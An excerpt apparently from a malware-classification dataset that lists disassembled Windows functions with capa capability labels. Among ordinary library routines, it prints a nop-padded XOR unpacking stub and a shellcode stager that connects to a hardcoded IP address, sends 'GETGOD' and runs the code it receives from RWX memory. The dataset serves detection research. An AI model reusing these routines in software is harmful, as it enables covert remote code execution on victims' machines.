joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ed0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x78b13451
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x76c73009
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x406938
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x4069ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov dword [eax - 8], 0x7fffffff
mov eax, 0x44b078
call sub.Common6.bpl__System__LStrClr_qqrpv
push 0
push 0
push 0x4069fc
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
mov ecx, ebx
xor edx, edx
call sub.Common6.bpl__System__LStrFromPCharLen_qqrr17System_AnsiStringpci
push ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
push 0x4069fc
call sub.kernel32.dll_GetEnvironmentVariableA
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call sub.Common6.bpl__System__LStrLen_qqrx17System_AnsiString
mov ecx, eax
dec ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, 1
call sub.Common6.bpl__System__LStrCopy_qqrv
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call sub.Common6.bpl__Sysutils_AnsiUpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
call sub.Common6.bpl__System__LStrLAsg_qqrpvpxv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4069f5
lea eax, [ebp - 8]
mov edx, 2
call sub.Common6.bpl__System__LStrArrayClr_qqrpvi
ret
Function at 0x406de4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x406ef0
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x44b088], eax
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x44b080]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x406ebb
mov eax, dword [ebp - 8]
call sub.Common6.bpl__System__GetMem_qqri
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x406eb4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [0x44b080]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x406e9b
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [0x44acb8]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x406e9b
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call sub.Common6.bpl__System__LStrFromPChar_qqrr17System_AnsiStringpc
mov eax, dword [ebp - 0x18]
call fcn.004067c4
mov dword [0x44b088], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ebb
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call sub.Common6.bpl__System__FreeMem_qqrpv
ret
cmp dword [0x44b088], 0x2faf0800
jge 0x406eda
cmp dword [ebp - 0x14], 0
jne 0x406eda
mov eax, dword [0x44acbc]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
mov dword [ebp - 0x14], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ef7
lea eax, [ebp - 0x18]
call sub.Common6.bpl__System__LStrClr_qqrpv
ret
Function at 0x43c8ec
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.Common6.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x43ca8a
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
jmp 0x43c927
lea eax, [ebp - 4]
mov edx, 0x43caa0
call sub.Common6.bpl__System__LStrCat_qqrv
inc esi
mov eax, dword [ebp - 4]
call sub.Common6.bpl__System__LStrLen_qqrx17System_AnsiString
cmp eax, 3
jl 0x43c919
jmp 0x43c944
lea eax, [ebp - 4]
mov edx, 0x43caa0
call sub.Common6.bpl__System__LStrCat_qqrv
inc esi
mov eax, dword [ebp - 4]
call sub.Common6.bpl__System__LStrLen_qqrx17System_AnsiString
mov ecx, 3
cdq
idiv ecx
test edx, edx
jne 0x43c936
mov eax, edi
call sub.Common6.bpl__System__LStrClr_qqrpv
mov ebx, 1
jmp 0x43ca2c
mov eax, dword [ebp - 4]
mov al, byte [eax + ebx - 1]
xor edx, edx
mov dl, al
shr edx, 2
and dl, 0x3f
mov byte [ebp - 5], dl
mov edx, dword [ebp - 4]
shl eax, 4
and al, 0x3f
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx]
shr edx, 4
or al, dl
mov byte [ebp - 6], al
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx]
shl edx, 2
and dl, 0x3f
mov eax, dword [ebp - 4]
mov al, byte [eax + ebx + 1]
xor ecx, ecx
mov cl, al
shr ecx, 6
or dl, cl
mov byte [ebp - 7], dl
mov edx, dword [ebp - 4]
and al, 0x3f
mov byte [ebp - 8], al
push dword [edi]
lea eax, [ebp - 0xc]
xor edx, edx
mov dl, byte [ebp - 5]
mov ecx, 0x43caac
mov dl, byte [ecx + edx]
call sub.Common6.bpl__System__LStrFromChar_qqrr17System_AnsiStringc
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
xor edx, edx
mov dl, byte [ebp - 6]
mov ecx, 0x43caac
mov dl, byte [ecx + edx]
call sub.Common6.bpl__System__LStrFromChar_qqrr17System_AnsiStringc
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
xor edx, edx
mov dl, byte [ebp - 7]
mov ecx, 0x43caac
mov dl, byte [ecx + edx]
call sub.Common6.bpl__System__LStrFromChar_qqrr17System_AnsiStringc
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
xor edx, edx
mov dl, byte [ebp - 8]
mov ecx, 0x43caac
mov dl, byte [ecx + edx]
call sub.Common6.bpl__System__LStrFromChar_qqrr17System_AnsiStringc
push dword [ebp - 0x18]
mov eax, edi
mov edx, 5
call sub.Common6.bpl__System__LStrCatN_qqrv
add ebx, 3
mov eax, dword [ebp - 4]
call sub.Common6.bpl__System__LStrLen_qqrx17System_AnsiString
sub eax, 2
cmp ebx, eax
jle 0x43c969
test esi, esi
jle 0x43ca67
mov eax, dword [edi]
call sub.Common6.bpl__System__LStrLen_qqrx17System_AnsiString
mov ebx, eax
cmp ebx, 1
jl 0x43ca67
mov eax, edi
call sub.Common6.bpl__System__UniqueStringA_qqrr17System_AnsiString
mov byte [eax + ebx - 1], 0x3d
dec esi
test esi, esi
je 0x43ca67
dec ebx
test ebx, ebx
jne 0x43ca51
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ca91
lea eax, [ebp - 0x18]
mov edx, 4
call sub.Common6.bpl__System__LStrArrayClr_qqrpvi
lea eax, [ebp - 4]
call sub.Common6.bpl__System__LStrClr_qqrpv
ret
Function at 0x445668
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call sub.Common6.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x44578a
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, dword [sym.imp.Common6.bpl__Forms_Application]
mov eax, dword [eax]
call sub.Common6.bpl__Forms_TApplication_GetExeName_qqrv
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call sub.Common6.bpl__Sysutils_ExtractFilePath_qqrx17System_AnsiString
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call sub.Common6.bpl__Sysutils_IncludeTrailingPathDelimiter_qqrx17System_AnsiString
push dword [ebp - 8]
push dword [ebp - 4]
push 0x4457a0
lea eax, [ebp - 0x14]
mov edx, 3
call sub.Common6.bpl__System__LStrCatN_qqrv
mov eax, dword [ebp - 0x14]
call sub.Common6.bpl__Sysutils_FileExists_qqrx17System_AnsiString
test al, al
je 0x44576f
mov eax, dword [0x44aef0]
mov eax, dword [eax]
mov eax, dword [eax + 0x58]
mov edx, dword [eax]
call dword [edx + 0x38]
test al, al
je 0x445747
push 0xa
push dword [ebp - 8]
push dword [ebp - 4]
push 0x4457a0
push 0x4457b0
mov eax, dword [0x44aef0]
mov eax, dword [eax]
mov ebx, dword [eax + 0x58]
push dword [ebx + 0x6c]
push 0x4457c8
mov eax, dword [0x44aef0]
push dword [ebx + 0xa0]
push 0x4457c8
mov eax, dword [0x44aef0]
push dword [ebx + 0x70]
lea eax, [ebp - 0x18]
mov edx, 9
call sub.Common6.bpl__System__LStrCatN_qqrv
mov eax, dword [ebp - 0x18]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
call sub.kernel32.dll_WinExec
jmp 0x44576f
push 0xa
push dword [ebp - 8]
push dword [ebp - 4]
push 0x4457a0
lea eax, [ebp - 0x1c]
mov edx, 3
call sub.Common6.bpl__System__LStrCatN_qqrv
mov eax, dword [ebp - 0x1c]
call sub.Common6.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445791
lea eax, [ebp - 0x1c]
mov edx, 7
call sub.Common6.bpl__System__LStrArrayClr_qqrpvi
ret
Function at 0x443aea
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x46ba40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00441f9a
mov dword [ebp - 0x14], eax
cmp dword [0x46d1dc], edi
jne 0x443bdb
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x443b68
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x443cbb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x443cbb
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x443cbb
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x46d1dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x46d1e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x46d1e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46d1ec], eax
test eax, eax
je 0x443bd8
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46d1e8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x443c00
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x443bf3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x443c15
push 4
pop eax
jmp 0x443cbd
cmp dword [ebp - 0x14], edi
je 0x443c15
push dword [0x46d1dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x443bfa
mov eax, dword [0x46d1e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x443c73
cmp dword [0x46d1ec], esi
je 0x443c73
push eax
call ebx
push dword [0x46d1ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x443c73
test eax, eax
je 0x443c73
call ecx
test eax, eax
je 0x443c68
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x443c68
test byte [ebp - 8], 1
jne 0x443c73
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x443ca3
mov eax, dword [0x46d1e0]
cmp eax, esi
je 0x443ca0
push eax
call ebx
test eax, eax
je 0x443ca0
call eax
mov edi, eax
test edi, edi
je 0x443ca0
mov eax, dword [0x46d1e4]
cmp eax, esi
je 0x443ca0
push eax
call ebx
test eax, eax
je 0x443ca0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x46d1dc]
call ebx
test eax, eax
je 0x443cbb
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x443cbd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00443ccc
leave
ret
Function at 0x401200
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get kernel32 base address
Get number of processors
Initialize winsock library

Disassembly:
sub esp, 0x1b8
mov eax, dword [0x440630]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebx
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401230
push 0
call fcn.0041ddb9
xor edx, edx
mov dword [esp + 8], edx
mov dword [esp + 0xc], edx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax + 0x18]
mov dword [esp + 8], ebx
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xc], eax
mov cl, 0x74
mov byte [esp + 0x1a1], cl
mov byte [esp + 0x1a8], cl
mov byte [esp + 0x1ab], cl
lea ecx, [esp + 0x1a0]
mov al, 0x65
mov byte [esp + 0x1b3], dl
mov edx, dword [esp + 8]
push ecx
mov bl, 0x61
push edx
mov byte [esp + 0x1a8], 0x45
mov byte [esp + 0x1aa], 0x77
mov byte [esp + 0x1ab], 0x70
mov byte [esp + 0x1ac], 0x43
mov byte [esp + 0x1ad], 0x72
mov byte [esp + 0x1ae], al
mov byte [esp + 0x1af], bl
mov byte [esp + 0x1b1], al
mov byte [esp + 0x1b2], 0x45
mov byte [esp + 0x1b4], 0x77
mov byte [esp + 0x1b5], 0x54
mov byte [esp + 0x1b6], 0x68
mov byte [esp + 0x1b7], 0x72
mov byte [esp + 0x1b8], al
mov byte [esp + 0x1b9], bl
mov byte [esp + 0x1ba], 0x64
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ecx, dword [esp + 0x1b4]
pop ebx
xor ecx, esp
mov dword [0x444a70], eax
call fcn.0041d97b
add esp, 0x1b8
ret
Function at 0x401420
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create tcp socket
Execute shellcode via indirect call
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x440630]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
call fcn.00401200
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x444a78], eax
cmp eax, 0xffffffff
je 0x401529
push 0x40
push 0x3000
push 0x4e050
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [0x444a7c], eax
test eax, eax
jne 0x401479
push eax
call fcn.0041ddb9
mov edi, dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [sym.imp.WS2_32.dll_htons]
push str.110.42.64.64
call edi
movzx ecx, word [0x441b28]
mov esi, eax
mov eax, 2
push ecx
mov word [esp + 0x10], ax
call ebx
mov word [esp + 0xe], ax
mov edx, dword [esi + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov eax, dword [0x444a78]
push 0x10
lea edx, [esp + 0x10]
push edx
push eax
mov dword [esp + 0x1c], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x401485
push 0x444a7c
push 0x401350
call dword [0x444a70]
mov edx, dword [0x444a78]
push 0
push 7
lea ecx, [esp + 0x24]
mov esi, eax
mov al, 0x47
push ecx
push edx
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x54
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0x4f
mov byte [esp + 0x31], 0x44
mov byte [esp + 0x32], 0
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401520
push 0
call fcn.0041ddb9
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0041d97b
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402f31
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x402f79
call fcn.00406552
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
je 0x402f79
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x402fbc
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x402fa5
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x402fa5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x402fb9
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40452f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x404553
cmp dword [edi + 0x54], 0
jne 0x404553
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00406552
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004044f0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x406d0a
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x430197
call fcn.0041e903
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x406d2f
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x406d75
lea ecx, [ebp - 0x10]
call fcn.004024b4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004065d6
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401d94
mov eax, esi
call fcn.0041e9db
ret 8

Function at 0x40d178
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40d1bf
call fcn.00406552
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
je 0x40d1bf
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40d1db
push ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040ccf2
mov esi, eax
test edi, edi
je 0x40d1d9
test ebx, ebx
je 0x40d1d9
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41d97b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440630]
jne 0x41d985
repz ret
jmp fcn.004222cf
Function at 0x42a375
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00422447
and dword [ebp - 4], 0
cmp dword [0x4449f4], 0
mov ebx, eax
jne 0x42a426
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42a4d7
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x436450
push edi
call esi
test eax, eax
je 0x42a4d7
push eax
call fcn.004223d5
mov dword [esp], 0x436440
push edi
mov dword [0x4449f4], eax
call esi
push eax
call fcn.004223d5
mov dword [esp], 0x43642c
push edi
mov dword [0x4449f8], eax
call esi
push eax
call fcn.004223d5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4449fc], eax
call esi
push eax
call fcn.004223d5
pop ecx
mov dword [0x444a04], eax
test eax, eax
je 0x42a426
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004223d5
pop ecx
mov dword [0x444a00], eax
mov eax, dword [0x444a00]
cmp eax, ebx
je 0x42a47e
cmp dword [0x444a04], ebx
je 0x42a47e
push eax
call fcn.00422450
push dword [0x444a04]
mov esi, eax
call fcn.00422450
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42a47e
test edi, edi
je 0x42a47e
call esi
test eax, eax
je 0x42a475
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42a475
test byte [ebp - 0xc], 1
jne 0x42a47e
or dword [ebp + 0x10], 0x200000
jmp 0x42a4b7
mov eax, dword [0x4449f8]
cmp eax, ebx
je 0x42a4b7
push eax
call fcn.00422450
pop ecx
test eax, eax
je 0x42a4b7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42a4b7
mov eax, dword [0x4449fc]
cmp eax, ebx
je 0x42a4b7
push eax
call fcn.00422450
pop ecx
test eax, eax
je 0x42a4b7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4449f4]
call fcn.00422450
pop ecx
test eax, eax
je 0x42a4d7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42a4d9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10010dcd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10010de9
push 0x2427
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x10010dfe
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x1001a4e5
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001a517
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1001a515
push 0x2427
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x1001a52c
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov esp, ebp
pop ebp
ret

Function at 0x1001a84d
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1001a865
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
jmp 0x1001a8bd
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1001a89f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jg 0x1001a8bd
mov eax, dword [ebp - 0x14]
push dword [eax]
mov ecx, dword [ebp - 0x18]
call fcn.10014b1c
cmp dword [eax], 0
je 0x1001a8bb
jmp 0x1001a8bd
jmp 0x1001a894
mov esp, ebp
pop ebp
ret